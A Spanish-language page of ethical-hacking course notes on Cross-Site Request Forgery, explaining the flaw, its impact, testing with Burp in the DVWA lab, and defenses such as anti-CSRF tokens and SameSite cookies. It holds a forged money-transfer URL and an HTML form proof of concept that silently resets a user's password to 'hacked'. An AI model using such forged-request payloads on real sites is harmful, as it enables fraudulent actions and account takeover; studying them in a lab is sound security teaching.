¡Esta es una revisión vieja del documento!
Tabla de Contenidos
Cross-Site Request Forgery (CSRF)
Notas del curso Hacking ético: descubriendo vulnerabilidades en aplicaciones web
La vulnerabilidad de CSRF, conocida como falsificación de petición en sitios cruzados, consiste en engañar a un usuario legítimo (que esté identificado en la aplicación) para que ejecute peticiones/acciones sin su consentimiento (no sabe que esas peticiones se están realizando desde su usuario).
Impacto
- Acciones fraudulentas.
- Acciones involuntarias de usuarios.
Formas de explotación
- Ingeniería social
- Phishing
Explotación
- Detectar token Anti-CSRF
- Realizar prueba de concepto sobre funcionalidad susceptible
- Burp Professional: GenerateCSRF PoC
- Escáneres automáticos
En la edición profesional de Burp, hay una opción de crear una prueba de concepto de CSRF:
HTML creado:
http://bank.com/transfer.do?acct=evilUser&amount=100000
Para probarlo en DWVA, con Burp activado como proyx, nos dirigimos a la sección CSRF. Con el nivel de seguridad a Low, la petición se hace con GET. Creremos un fichero HTML con un formulario similar al de la aplicación vulnerable:
<form action="http://192.168.8.109/vulnerabilities/csrf/?" method="GET"> New password: <br /> <input type="hidden" AUTOCOMPLETE="off" name="password_new" value="hacked"><br /> Confirm new password: <br /> <input type="hidden" AUTOCOMPLETE="off" name="password_conf" value="hacked"><br /> <input type="submit" value="Change" name="Change"> </form>
Buenas prácticas
- Implementación de tokens anti-CSRF
- Cookies de sesión:
SameSite. Tiene 3 posibles valores:Strict,NoneyLax - Protecciones ante XSS
- No usar peticiones GET para el envío de información a la aplicación
- Revisar cabeceras:
Origin HeaderyReferer Header



